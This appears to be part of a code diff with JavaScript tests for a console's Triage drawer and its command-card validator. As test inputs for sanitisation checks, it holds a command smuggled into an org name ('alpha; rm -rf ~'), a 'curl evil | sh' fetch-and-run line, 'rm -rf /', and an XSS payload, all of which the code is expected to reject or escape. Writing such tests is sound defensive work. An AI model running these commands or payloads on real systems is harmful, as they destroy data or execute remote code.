if (input.includes("\n")) { socket.destroy(); resolve(input.trim()); }
});
socket.on("error", (e) => resolve(`socket ${e.code}`));
});
}
if (body === "PROBE") {
let paths = [];
try { paths = JSON.parse(process.env.TRIAGE_PROBE ?? "[]"); } catch {}
let snapshot = null;
try { snapshot = JSON.parse(readFileSync(join(workspace, "health", "snapshot.json"), "utf8")).snapshotVersion; } catch {}
process.stdout.write(JSON.stringify({
env: Object.keys(process.env).sort(),
seen: Object.fromEntries(paths.map((p) => [p, existsSync(p)])),
snapshot,
writeHealth: tryWrite(join(workspace, "health", "planted.json")),
writeBundle: tryWrite(join(process.env.MOSAIC_POLICY_FILE, "..", "planted.json")),
writeWork: tryWrite(join(workspace, "note.txt")),
}));
} else if (body === "CARDS") {
process.stdout.write('The alpha bus is stopped.\n```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-wipe", "org": "alpha"}]\n```\n');
} else if (body.startsWith("TOOL ")) {
process.stdout.write(await toolCall("send_message", { to: body.slice(5), body: "from the tool", class: "INFO" }));
} else if (body === "REPLY-SLEEP") {
const id = request.match(/^Message (\S+) from /m)?.[1];
await toolCall("send_message", { to: "human", body: "answered early", class: "INFO", in_reply_to: id });
setInterval(() => {}, 1000);
} else if (body === "SLEEP") {
setInterval(() => {}, 1000);
} else {
process.stdout.write(`echo: ${body}`);
}
+5 -3
View File
@@ -262,8 +262,10 @@ test('SP6 GET /workflows returns the org and code-project workflows, the role na
assert.deepEqual(body.projects, Object.fromEntries(Object.entries(doc.projects).map(([id, p]) => [id, p.workflows ?? {}])));
assert.deepEqual(body.projects.stack, doc.projects.stack.workflows);
assert.deepEqual(body.roles.definitions, ['triage']);
assert.deepEqual(body.roles.templates, templateHashes(join(f.root, 'roles')).map(x => x.template).sort());
assert.ok(body.roles.templates.includes('coder') && !body.roles.templates.includes('ghost'));
// #1873 triage-followups: the shipped triage template is system-only, so the read leaves it out.
assert.ok(templateHashes(join(f.root, 'roles')).some(x => x.template === 'triage'), 'the fixture ships the triage template');
assert.deepEqual(body.roles.templates, templateHashes(join(f.root, 'roles')).map(x => x.template).filter(n => n !== 'triage').sort());
assert.ok(body.roles.templates.includes('coder') && !body.roles.templates.includes('ghost') && !body.roles.templates.includes('triage'));
assert.equal(body.revision, createHash('sha256').update(readFileSync(f.file)).digest('hex'), 'the revision is the writer\'s: the hash of the file bytes');
assert.equal(body.writable, true);
assert.equal(JSON.stringify(body).includes(f.root), false, 'no host path leaves');
@@ -283,7 +285,7 @@ test('SP6 GET /workflows returns the org and code-project workflows, the role na
test('SP6 GET /workflows leaves out a library project and answers outcome-unknown for a read it cannot trust', async t => {
const REV = 'a'.repeat(64);
const read = { document: { projects: { code: { workflows: { w: FLOW('W') } }, lib: { kind: 'library', workflows: { never: FLOW('N') } }, bare: {} } }, revision: REV, templates: ['coder', 7] };
const read = { document: { projects: { code: { workflows: { w: FLOW('W') } }, lib: { kind: 'library', workflows: { never: FLOW('N') } }, bare: {} } }, revision: REV, templates: ['coder', 7, 'triage'] };
const f = await fixture(t, { workflows: () => read });
const [status, body] = await call(f, `${ORG}/workflows`);
assert.equal(status, 200, JSON.stringify(body));
@@ -0,0 +1,81 @@
// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a
// registered org, renders the command itself, and drops everything else.
import { test } from "node:test";
import assert from "node:assert/strict";
import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs";
const orgs = new Set(["alpha", "beta"]);
const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```";
test("each known step renders its fixed command for a registered org", () => {
assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]);
assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" });
assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta");
assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta");
assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta");
assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha");
});
test("a dev local owner Console renders bus-start with its flag; every other step and Console stays as it is", () => {
const orgs = new Set(["alpha"]);
const reply = '```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-stop", "org": "alpha"}]\n```';
assert.deepEqual(extractCards(reply, orgs, { devOwner: true }).cards.map((c) => c.command), ["mosaic bus start alpha --dev-local-owner --detach", CARD_STEPS["bus-stop"]("alpha")]);
assert.deepEqual(extractCards(reply, orgs).cards.map((c) => c.command), ["mosaic bus start alpha --detach", CARD_STEPS["bus-stop"]("alpha")]);
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, orgs, { devOwner: "yes" }).command, "mosaic bus start alpha --detach", "only true turns it on");
});
test("a card with an unknown step, an unknown org or an extra field is dropped", () => {
assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null);
assert.equal(validateCard({ step: "bus-start" }, orgs), null);
assert.equal(validateCard(["bus-start", "alpha"], orgs), null);
assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null);
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null);
assert.equal(validateCard("bus-start alpha", orgs), null);
});
test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => {
const reply = [
"The alpha bus is stopped.",
fence([
{ step: "bus-start", org: "alpha" },
{ step: "bus-start", org: "gamma" },
{ step: "bus-wipe", org: "alpha" },
{ step: "bus-stop", org: "beta", command: "rm -rf /" },
{ step: "bus-start", org: "alpha" },
]),
"Then check its config.",
fence({ step: "org-config-validate", org: "alpha" }),
fence("not json {"),
].join("\n");
const out = extractCards(reply, orgs);
assert.deepEqual(out.cards, [
{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" },
{ step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" },
]);
assert.equal(out.dropped, 5);
assert.ok(!out.text.includes("```"));
assert.ok(!out.text.includes("rm -rf"));
assert.match(out.text, /The alpha bus is stopped\./);
});
test("no more than MAX_CARDS cards are kept", () => {
const many = [];
for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org });
const out = extractCards(fence(many), orgs);
assert.equal(out.cards.length, MAX_CARDS);
assert.equal(out.dropped, many.length - MAX_CARDS);
});
test("the explanation is plain text: no control or direction characters, clipped", () => {
assert.equal(plainText("a\u001b[31mred\u0007‮b\r\nc\td"), "a[31mredb\nc\td");
assert.equal(plainText("a\u061cb\u180ec\u2028d\u2029e\ufefff"), "abcdef");
assert.equal(plainText("x".repeat(9000)).length, 8000);
assert.equal(plainText(null), "");
assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 });
});
@@ -0,0 +1,439 @@
// #1873 triage-drawer: the Console's Triage drawer over GET /api/triage and POST /api/triage/message.
// Only the instance owner sees it: the entry, the drawer and every Triage request exist only when the
// unscoped /api/config says triage: true. The real server serves the routes from a fake Triage host,
// so every answer here crossed the real HTTP boundary. One page stub forces the 403 answer, which the
// browser's own same-origin request cannot produce.
import { test } from 'node:test';
import assert from 'node:assert/strict';
import { fileURLToPath } from 'node:url';
import { startServer } from '../src/serve.mjs';
import { createDevOwner } from '../src/dev-owner.mjs';
import { TriageError, NOT_STARTED } from '../src/triage-host.mjs';
import { capMessage, NO_ROUTE_MESSAGE } from '../src/triage-http.mjs';
import { browser } from './browser.mjs';
import { close } from './fixture.mjs';
const waitFor = b => (expression, tries = 200) => b.evaluate(`(async()=>{for(let i=0;i<${tries};i++){if(${expression})return;await new Promise(r=>setTimeout(r,30))}throw Error(${JSON.stringify(expression)})})()`);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const at = minutesAgo => new Date(Date.now() - minutesAgo * 60000).toISOString();
const POLL_MS = 4000;
async function orgFixture() {
const { checkRootAgents } = await import('../../organization/src/index.mjs');
const rolesDir = fileURLToPath(new URL('../../../roles', import.meta.url));
const root = { state: 'ok', ...checkRootAgents({ agentsVersion: 1, agents: {} }, { rolesDir }) };
const LIST = [{ id: 'acme', label: 'Acme Studio', theme: 'cobalt', busHealthy: true }];
const empty = (name) => Promise.resolve(['usage', 'limits'].includes(name) ? {} : []);
const opts = () => ({
bus: { inbox: () => empty('inbox'), agents: () => empty('agents'), 'thread.claims': () => empty('claims'), tasks: () => empty('tasks'), usage: () => empty('usage'), limits: () => empty('limits'), decisions: () => empty('decisions') },
chat: { threads: () => empty('threads'), projects: () => empty('projects') },
});
const member = org => ({ id: org.id, doc: { appearance: { theme: org.theme }, roles: { chief: { definition: 'chief-of-staff' } }, projects: {} }, status: async () => ({ healthy: true, pid: 4242, boot: null }), options: opts });
const organizations = {
list: async () => LIST,
members: async () => LIST.map(member),
resolve: async id => {
const org = LIST.find(o => o.id === id); if (!org) return null;
return {
busHealthy: true,
reads: { business: async () => ({ business: { id, human: 'jason', projects: [], appearance: { theme: org.theme } } }), settings: async () => ({ business: id, release: 'fixture', notifier: {}, launch: { business: id, revision: 'a'.repeat(64), models: {}, limits: { total: 4 }, instances: {}, usage: { total: 0, providers: {}, models: {} } } }), queue: async () => ({ rows: [] }), busStatus: async () => ({}) },
bus: { messages: async () => ({ messages: [], unread: 0 }), agents: async () => [], 'thread.claims': async () => [], inbox: async () => [], tasks: async () => [], instances: async () => ({ business: id, revision: 'a'.repeat(64), launch: true, noHire: [], retired: [], definitions: {}, instances: {} }) },
chat: { projects: async () => [], threads: async () => [] },
};
},
};
return { organizations, agentLevels: { loadRoot: () => root, rolesDir, ctx: { configDir: '/cfg', dataRoot: '/data', instance: 'test' } } };
}
const SNAPSHOT = () => ({
snapshotVersion: 1, at: at(1), console: { state: 'answering', at: at(1) }, proxy: 'not read',
systemConfig: { valid: true, exit: 0, code: null },
organizations: { count: 2, list: [
{ id: 'acme', bus: { state: 'running', lastStart: { ok: true, at: at(60) } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } },
{ id: 'gamma', bus: 'not read', processing: 'not read', config: { valid: false, exit: 2, code: 'org-config-invalid' } },
] },
});
// The fake host. `h` is the state the next read returns; `h.next` is an error the next message throws.
// An error marked `recorded` throws after the owner line and the host's "did not start" line are written,
// as the real host does when the session fails to start.
function fakeHost(over = {}) {
const h = { route: 'set', running: false, lastExit: null, overCapUntil: null, snapshot: SNAPSHOT(), transcript: [], reads: 0, sent: [], next: null, ...over };
let n = 0;
const triage = {
snapshotAt: () => Date.now(),
refresh: async () => null,
state: async () => { h.reads += 1; return { route: h.route, running: h.running, lastExit: h.lastExit, overCapUntil: h.overCapUntil, snapshot: h.snapshot, transcript: h.transcript }; },
message: async text => {
h.sent.push(text);
const e = h.next; h.next = null;
if (e && !e.recorded) throw e;
const m = { id: `owner-${String(++n).padStart(12, '0')}`, at: new Date().toISOString() };
h.transcript = [...h.transcript, { at: m.at, from: 'owner', id: m.id, text }];
if (e) { h.transcript = [...h.transcript, { at: new Date().toISOString(), from: 'host', in_reply_to: m.id, text: NOT_STARTED }]; throw e; }
return m;
},
};
return { h, triage };
}
async function setup(t, { host = fakeHost(), triage = host.triage, send = true, sso = createDevOwner(), viewport = [1440, 900], path = '/#/dashboard', init = null } = {}) {
const { organizations, agentLevels } = await orgFixture();
const server = await startServer({ port: 0, sso, organizations, agentLevels, triage, send: send ? async () => ({}) : null, log: () => {} });
t.after(() => close(server));
const b = await browser({ machine: false }); t.after(() => b.close());
await b.viewport(...viewport);
const requests = [];
await b.call('Network.enable');
b.on('Network.requestWillBeSent', p => { const u = new URL(p.request.url); requests.push(`${p.request.method} ${u.pathname}`); });
if (init) await b.call('Page.addScriptToEvaluateOnNewDocument', { source: init });
const base = `http://127.0.0.1:${server.address().port}`;
await b.navigate(`${base}${path}`);
const wait = waitFor(b);
const text = sel => b.evaluate(`document.querySelector(${JSON.stringify(sel)})?.innerText ?? null`);
const click = sel => b.evaluate(`document.querySelector(${JSON.stringify(sel)}).click()`);
const triageReads = () => requests.filter(r => r === 'GET /api/triage').length;
return { b, base, wait, text, click, requests, triageReads, h: host.h };
}
// The page focuses its heading when its first render ends (bus.js). Open after that, as a person would, or
// that late focus can land after the drawer's own.
const open = async f => { await f.wait('document.querySelector("#triage-open")'); await f.wait('document.activeElement?.tagName === "H1"', 100).catch(() => {}); await f.click('#triage-open'); await f.wait('["off", "cap", "running", "stopped"].includes(document.querySelector("#triage-drawer #triage-state")?.dataset.kind)'); };
const type = async (f, words) => { await f.b.evaluate('document.querySelector("#triage-text").focus()'); await f.b.call('Input.insertText', { text: words }); };
const sendAndWait = async (f, before) => { await f.click('#triage-send'); await f.wait(`document.querySelector("#triage-send-status").textContent.trim() && document.querySelector("#triage-send-status").textContent !== ${JSON.stringify(before)} && !document.querySelector("#triage-send").disabled`); return f.text('#triage-send-status'); };
test('item 1: a session that is not the instance owner gets no entry, no drawer markup and no Triage request', async t => {
// No Triage host wired: the config never says triage.
{
const f = await setup(t, { triage: null });
await f.wait('document.querySelector("#dashboard-kpis")');
await sleep(1500);
assert.equal(await f.b.evaluate('document.querySelector("#triage-open, #triage-drawer, [id^=triage]")'), null);
assert.deepEqual(f.requests.filter(r => /triage/i.test(r)), []);
}
// A Triage host, but a signed-in session that is not the root owner.
{
const owner = createDevOwner(), plain = { ...owner.session(), rootOwner: false };
const f = await setup(t, { sso: { ...owner, session: () => plain } });
await f.wait('document.querySelector("#dashboard-kpis")');
await sleep(1500);
assert.equal(await f.b.evaluate('document.querySelector("[id^=triage]")'), null);
assert.equal(await f.b.evaluate('document.body.innerHTML.includes("Triage")'), false, 'no Triage words in the page');
assert.deepEqual(f.requests.filter(r => /triage/i.test(r)), []);
}
});
test('item 1: the owner gets one Triage entry in the top bar on the dashboard and inside an organization; nothing is read until it opens', async t => {
const f = await setup(t, { path: '/#/orgs/acme/organization' });
await f.wait('document.querySelector(".cmd-right #triage-open")');
assert.equal(await f.b.evaluate('document.querySelectorAll("#triage-open").length'), 1);
assert.equal(await f.b.evaluate('document.querySelector("#triage-drawer")'), null, 'no drawer markup before it opens');
await sleep(800);
assert.equal(f.triageReads(), 0, 'no read before it opens');
assert.equal(await f.b.evaluate('document.querySelector("#triage-open").getAttribute("aria-expanded")'), 'false');
await open(f);
assert.equal(await f.b.evaluate('document.querySelector("#triage-open").getAttribute("aria-expanded")'), 'true');
// From inside an organization the read is still the system route, never the organization's.
assert.ok(f.triageReads() >= 1);
assert.deepEqual(f.requests.filter(r => /triage/.test(r) && r !== 'GET /api/triage'), []);
assert.ok(f.requests.includes('GET /api/config'), 'the unscoped config read');
// The same entry on the system dashboard.
await f.b.evaluate('location.hash = "#/dashboard"');
await f.wait('location.hash === "#/dashboard" && document.querySelector("#triage-open")');
});
test('item 1: at 390 wide the entry stays visible and one click opens the drawer', async t => {
const f = await setup(t, { viewport: [390, 844] });
await f.wait('document.querySelector("#triage-open")');
const box = await f.b.evaluate('(() => { const r = document.querySelector("#triage-open").getBoundingClientRect(); return { w: r.width, h: r.height, right: r.right, top: r.top }; })()');
assert.ok(box.w > 0 && box.h > 0 && box.right <= 390 && box.top >= 0, JSON.stringify(box));
await open(f);
const d = await f.b.evaluate('(() => { const r = document.querySelector("#triage-drawer").getBoundingClientRect(); return { l: r.left, w: r.width, page: document.documentElement.clientWidth }; })()');
assert.ok(d.l <= 1 && d.w >= d.page - 1, `the drawer takes the whole width: ${JSON.stringify(d)}`);
assert.equal(await f.b.evaluate('document.documentElement.scrollWidth <= 390'), true, 'no sideways scroll');
});
test('item 2 and 3: route not set says so, and the message box is off with the reason', async t => {
const f = await setup(t, { host: fakeHost({ route: 'not set' }) });
await open(f);
assert.match(await f.text('#triage-state'), new RegExp(NO_ROUTE_MESSAGE.slice(0, 40)));
assert.equal(await f.b.evaluate('document.querySelector("#triage-text")?.disabled'), true);
assert.equal(await f.b.evaluate('document.querySelector("#triage-send")?.disabled'), true);
assert.match(await f.text('#triage-send-off'), /no model route is set/i);
});
test('item 2: over cap shows the cap message and the time it takes messages again', async t => {
const until = new Date(Date.now() + 3 * 3600000).toISOString();
const f = await setup(t, { host: fakeHost({ overCapUntil: until }) });
await open(f);
const state = await f.text('#triage-state');
assert.ok(state.includes(capMessage(until)), state);
const local = await f.b.evaluate(`window.MosaicLocalTime(${JSON.stringify(until)})`);
assert.ok(state.includes(`Local time: ${local}.`), state);
assert.match(await f.text('#triage-send-off'), /daily token cap/i);
});
test('item 2: running, last exit, and the health snapshot with "not read" shown as that', async t => {
const host = fakeHost({ running: true });
const f = await setup(t, { host });
await open(f);
assert.match(await f.text('#triage-state'), /^Running/);
const health = await f.text('#triage-health');
assert.match(health, /Console: answering/);
assert.match(health, /Proxy: not read/);
assert.match(health, /System config: valid/);
assert.match(health, /acme: bus running, processing on, config valid/);
assert.match(health, /gamma: bus not read, processing not read, config not valid \(org-config-invalid\)/);
assert.doesNotMatch(health.split('\n').find(l => l.startsWith('gamma')), /healthy|running/);
// The next poll picks up a stopped session and its last exit, and a snapshot that read nothing.
host.h.running = false; host.h.lastExit = { code: 1, signal: null, at: at(2) };
host.h.snapshot = { snapshotVersion: 1, at: at(0), console: { state: 'answering', at: at(0) }, proxy: { initialized: true, installed: true, active: 'active', healthy: true, fence: false }, systemConfig: 'not read', organizations: 'not read' };
await f.wait('/Last exit/.test(document.querySelector("#triage-state").textContent)', 300);
assert.match(await f.text('#triage-state'), /Not running\. Last exit: code 1/);
const after = await f.text('#triage-health');
assert.match(after, /Proxy: healthy/);
assert.match(after, /System config: not read/);
assert.match(after, /Organizations: not read/);
// No snapshot at all.
host.h.snapshot = null;
await f.wait('/Health: not read/.test(document.querySelector("#triage-health").textContent)', 300);
});
test('item 2: the transcript shows owner, Triage and host lines, a reply under its message, and cards as text with no Run button', async t => {
const transcript = [
{ at: at(5), from: 'owner', id: 'owner-000000000001', text: 'Why is gamma down?' },
{ at: at(4), from: 'triage', in_reply_to: 'owner-000000000001', text: 'gamma config is not valid. Restart acme after fixing it.', cards: [{ step: 'org-config-validate', org: 'gamma', command: 'mosaic org config validate gamma' }, { step: 'bus-restart', org: 'acme', command: 'mosaic bus restart acme' }], dropped: 2 },
{ at: at(3), from: 'owner', id: 'owner-000000000002', text: 'And beta?' },
{ at: at(2), from: 'host', in_reply_to: 'owner-000000000002', text: 'Triage stopped before it answered this message. Send it again.' },
];
const f = await setup(t, { host: fakeHost({ running: true, transcript }) });
await open(f);
const items = await f.b.evaluate('[...document.querySelectorAll("#triage-transcript > li")].map(li => ({ from: li.dataset.from, text: li.innerText }))');
assert.deepEqual(items.map(i => i.from), ['owner', 'triage', 'owner', 'host']);
assert.match(items[0].text, /You/); assert.match(items[0].text, /Why is gamma down\?/);
assert.match(items[1].text, /Triage/); assert.match(items[1].text, /Reply to: Why is gamma down\?/);
assert.match(items[1].text, /Step: org-config-validate/); assert.match(items[1].text, /Organization: gamma/);
assert.match(items[1].text, /mosaic org config validate gamma/); assert.match(items[1].text, /mosaic bus restart acme/);
assert.match(items[1].text, /2 cards dropped/);
assert.match(items[3].text, /Console/); assert.match(items[3].text, /Reply to: And beta\?/);
assert.equal(await f.b.evaluate('document.querySelectorAll("#triage-transcript button, #triage-transcript a, #triage-transcript input").length'), 0, 'no Run button or link in a card');
assert.equal(await f.b.evaluate('[...document.querySelectorAll("#triage-drawer button")].some(x => /run/i.test(x.textContent))'), false);
});
test('item 3: each send answer has plain words, a refused send keeps the draft, and an unknown outcome is never resent', async t => {
const host = fakeHost({ running: true });
const until = new Date(Date.now() + 2 * 3600000).toISOString();
// The browser's own request is same-origin, so the 403 comes from a page stub over the native fetch.
const init = `(() => { const f = window.fetch.bind(window); window.fetch = (input, init) => (window.__force403 && input === '/api/triage/message') ? Promise.resolve(new Response('{"error":"read-only"}', { status: 403, headers: { 'content-type': 'application/json' } })) : f(input, init); })();`;
const f = await setup(t, { host, init });
await open(f);
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-text', 'the box has focus when the drawer opens');
let status = '';
const draft = () => f.b.evaluate('document.querySelector("#triage-text").value');
const refused = async (setupNext, pattern, label) => {
await setupNext();
status = await sendAndWait(f, status);
assert.match(status, pattern, label);
assert.equal(await draft(), 'is acme healthy?', `${label}: the draft stays`);
};
await type(f, 'is acme healthy?');
await refused(() => { host.h.next = new TriageError('triage-no-route', 'x'); }, /Not sent.*no model route is set/i, '409');
await refused(() => { const e = new TriageError('triage-over-cap', 'x'); e.until = until; host.h.next = e; }, new RegExp(`Not sent.*daily token cap.*${until.slice(0, 16)}`), '429');
await refused(() => { host.h.next = new TriageError('triage-message-too-long', 'x'); }, /Not sent.*too long/i, '400');
await refused(() => f.b.evaluate('window.__force403 = true'), /Not sent.*read-only/i, '403');
await f.b.evaluate('window.__force403 = false');
const before = host.h.sent.length;
await refused(() => { host.h.next = new Error('lost'); }, /may or may not have arrived/i, '503');
assert.equal(host.h.sent.length, before + 1);
await sleep(POLL_MS + 1500);
assert.equal(host.h.sent.length, before + 1, 'an unknown outcome is not sent again');
status = await sendAndWait(f, status);
assert.match(status, /^Sent/);
assert.equal(await draft(), '', 'a sent message clears the box');
await f.wait('[...document.querySelectorAll("#triage-transcript > li")].some(li => li.dataset.from === "owner" && li.textContent.includes("is acme healthy?"))');
// Ctrl+Enter sends too.
await type(f, 'second');
await f.b.key('Enter', 'Enter', 2);
await f.wait('document.querySelector("#triage-text").value === "" && /^Sent/.test(document.querySelector("#triage-send-status").textContent)');
assert.equal(host.h.sent.at(-1), 'second');
});
test('item 3: a read-only Console shows no message box and says why', async t => {
const f = await setup(t, { send: false });
await open(f);
assert.equal(await f.b.evaluate('document.querySelector("#triage-text")'), null);
assert.match(await f.text('#triage-send-off'), /read-only/i);
});
test('item 3: a send that reached the conversation but did not start Triage says so, not "Not sent", and keeps the draft', async t => {
const host = fakeHost();
const f = await setup(t, { host });
await open(f);
let status = '';
for (const [code, words] of [['triage-start-failed', /session did not start/i], ['triage-route-invalid', /route's answer is not usable/i]]) {
await f.b.evaluate('document.querySelector("#triage-text").value = ""');
await type(f, `try ${code}`);
const e = new TriageError(code, 'x'); e.recorded = true; host.h.next = e;
status = await sendAndWait(f, status);
assert.doesNotMatch(status, /^Not sent/, code);
assert.match(status, /Not delivered/, code);
assert.match(status, words, code);
assert.match(status, /in the conversation/i, code);
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").value'), `try ${code}`, `${code}: the draft stays`);
await f.wait(`document.querySelector("#triage-transcript").textContent.includes(${JSON.stringify(NOT_STARTED)})`, 300);
}
// A directory refusal can come before or after the message is written, so the words cover both.
host.h.next = new TriageError('triage-dir-unsafe', 'x');
status = await sendAndWait(f, status);
assert.match(status, /Not delivered.*not safe to use.*check the conversation/i);
assert.doesNotMatch(status, /did not start/i, 'this one can come while a session runs');
});
test('item 3: a read that turns sending off hides the box and keeps the draft; one that turns it on again shows it', async t => {
const init = `(() => { const f = window.fetch.bind(window); window.fetch = (input, init) => (window.__sendOff && input === '/api/triage') ? f(input, init).then(r => r.json()).then(j => new Response(JSON.stringify({ ...j, send: false }), { status: 200, headers: { 'content-type': 'application/json' } })) : f(input, init); })();`;
const f = await setup(t, { host: fakeHost({ running: true }), init });
await open(f);
await type(f, 'keep me');
await f.b.evaluate('window.__sendOff = true');
await f.wait('/read-only/i.test(document.querySelector("#triage-send-off")?.textContent || "")', 300);
const off = await f.b.evaluate('(() => { const x = document.querySelector("#triage-text"); return x && { value: x.value, hidden: x.hidden, disabled: x.disabled, send: document.querySelector("#triage-send").disabled, shown: x.getClientRects().length > 0 }; })()');
assert.deepEqual(off, { value: 'keep me', hidden: true, disabled: true, send: true, shown: false });
await f.b.evaluate('window.__sendOff = false');
await f.wait('document.querySelector("#triage-text").getClientRects().length > 0', 300);
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").value'), 'keep me');
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").disabled'), false);
assert.equal(await f.text('#triage-send-off'), '');
});
test('item 4: polling runs only while the drawer is open and stops on close', async t => {
const f = await setup(t, { host: fakeHost({ running: true }) });
await f.wait('document.querySelector("#triage-open")');
await sleep(1000);
assert.equal(f.triageReads(), 0);
await open(f);
await sleep(POLL_MS * 2 + 1000);
const open2 = f.triageReads();
assert.ok(open2 >= 2, `reads while open: ${open2}`);
await f.click('#triage-drawer .x');
await f.wait('!document.querySelector("#triage-drawer") || document.querySelector("#triage-drawer").hidden');
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-open', 'focus goes back to the entry');
const closed = f.triageReads();
await sleep(POLL_MS * 2 + 1000);
assert.equal(f.triageReads(), closed, 'no read after close');
// Escape closes it as well, and reopening reads again.
await open(f);
await f.b.evaluate('document.querySelector("#triage-text").focus()');
await f.b.key('Escape');
await f.wait('!document.querySelector("#triage-drawer") || document.querySelector("#triage-drawer").hidden');
});
test('item 4: a poll keeps the draft and the cursor, and keeps the scroll position when the reader has scrolled up', async t => {
const transcript = Array.from({ length: 40 }, (_, i) => ({ at: at(60 - i), from: i % 2 ? 'triage' : 'owner', ...(i % 2 ? { text: `answer ${i}`, cards: [], dropped: 0 } : { id: `owner-${String(i).padStart(12, '0')}`, text: `question ${i}` }) }));
const host = fakeHost({ running: true, transcript });
const f = await setup(t, { host, viewport: [1440, 700] });
await open(f);
const scroller = 'document.querySelector("#triage-transcript")';
// Opening lands on the newest line.
assert.equal(await f.b.evaluate(`(() => { const s = ${scroller}; return s.scrollHeight - s.scrollTop - s.clientHeight < 4; })()`), true);
await type(f, 'half a thought');
await f.b.evaluate('document.querySelector("#triage-text").setSelectionRange(4, 4)');
await f.b.evaluate(`${scroller}.scrollTop = 120`);
host.h.transcript = [...transcript, { at: at(0), from: 'host', text: 'a new line', in_reply_to: null }];
await f.wait('document.querySelector("#triage-transcript").textContent.includes("a new line")', 300);
assert.equal(await f.b.evaluate(`${scroller}.scrollTop`), 120, 'scrolled up: the position stays');
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").value'), 'half a thought');
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-text');
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").selectionStart'), 4);
// At the bottom, a new line scrolls into view.
await f.b.evaluate(`(() => { const s = ${scroller}; s.scrollTop = s.scrollHeight; })()`);
host.h.transcript = [...host.h.transcript, { at: at(0), from: 'host', text: 'one more line' }];
await f.wait('document.querySelector("#triage-transcript").textContent.includes("one more line")', 300);
assert.equal(await f.b.evaluate(`(() => { const s = ${scroller}; return s.scrollHeight - s.scrollTop - s.clientHeight < 4; })()`), true);
});
test('item 4: at the 200-line cap the oldest lines drop, and a scrolled-up reader keeps the same lines in view, even with an identical line above', async t => {
const line = i => ({ at: new Date(Date.now() - (300 - i) * 60000).toISOString(), from: 'host', text: `line ${i}` });
const transcript = Array.from({ length: 200 }, (_, i) => line(i));
transcript[4] = transcript[8]; // an identical twin of the line that is first in view
const host = fakeHost({ running: true, transcript });
const f = await setup(t, { host, viewport: [1440, 700] });
await open(f);
const firstInView = `(() => { const s = document.querySelector("#triage-transcript"), top = s.getBoundingClientRect().top; const li = [...s.children].find(n => n.getBoundingClientRect().bottom > top + 1); return { text: li.textContent, second: li.nextElementSibling.textContent, off: Math.round(li.getBoundingClientRect().top - top) }; })()`;
await f.b.evaluate('document.querySelector("#triage-transcript").scrollTop = 600');
const before = await f.b.evaluate(firstInView);
assert.match(before.text, /line 8$/, 'the twin line is the one in view');
host.h.transcript = [...transcript.slice(3), line(200), line(201), line(202)];
await f.wait('document.querySelector("#triage-transcript").textContent.includes("line 202")', 300);
const after = await f.b.evaluate(firstInView);
assert.equal(after.text, before.text, 'the same line is first in view');
assert.equal(after.second, before.second, 'and the same line follows it');
assert.ok(Math.abs(after.off - before.off) <= 1, `at the same place: ${before.off} then ${after.off}`);
});
test('item 5: markup and control characters in every field stay text: no element, no link, no script', async t => {
const BAD = '<img src=x onerror="window.__pwned=1"><a href="https://example.test/x">link</a><b>bold</b><script>window.__pwned=2</script>';
const CTRL = '\u0007\u001b[31m\u202eevil\u200b\u2028\ufeff\u00ad\u2060\u034f\ufe0f\u{E0041}\u{E0100}\u{E0002}\u17b4\ufff0';
const v = s => `${BAD}${CTRL}${s}`;
const snapshot = {
snapshotVersion: 1, at: v('at'), console: { state: v('state'), at: v('cat') },
proxy: { initialized: true, installed: true, active: v('active'), healthy: null, fence: false },
systemConfig: { valid: false, exit: 2, code: v('code') },
organizations: { count: 1, list: [{ id: v('org'), bus: { state: v('bus'), lastStart: { ok: false, at: v('ls') } }, processing: { halted: true, invalid: true }, config: { valid: false, exit: 2, code: v('oc') } }] },
};
const transcript = [
{ at: v('t1'), from: 'owner', id: v('id'), text: v('owner text') },
{ at: v('t2'), from: 'triage', in_reply_to: v('id'), text: v('triage text'), cards: [{ step: v('step'), org: v('corg'), command: v('cmd') }], dropped: v('dropped') },
{ at: v('t3'), from: 'host', in_reply_to: v('nope'), text: v('host text') },
{ at: v('t4'), from: v('from'), text: v('unknown sender') },
];
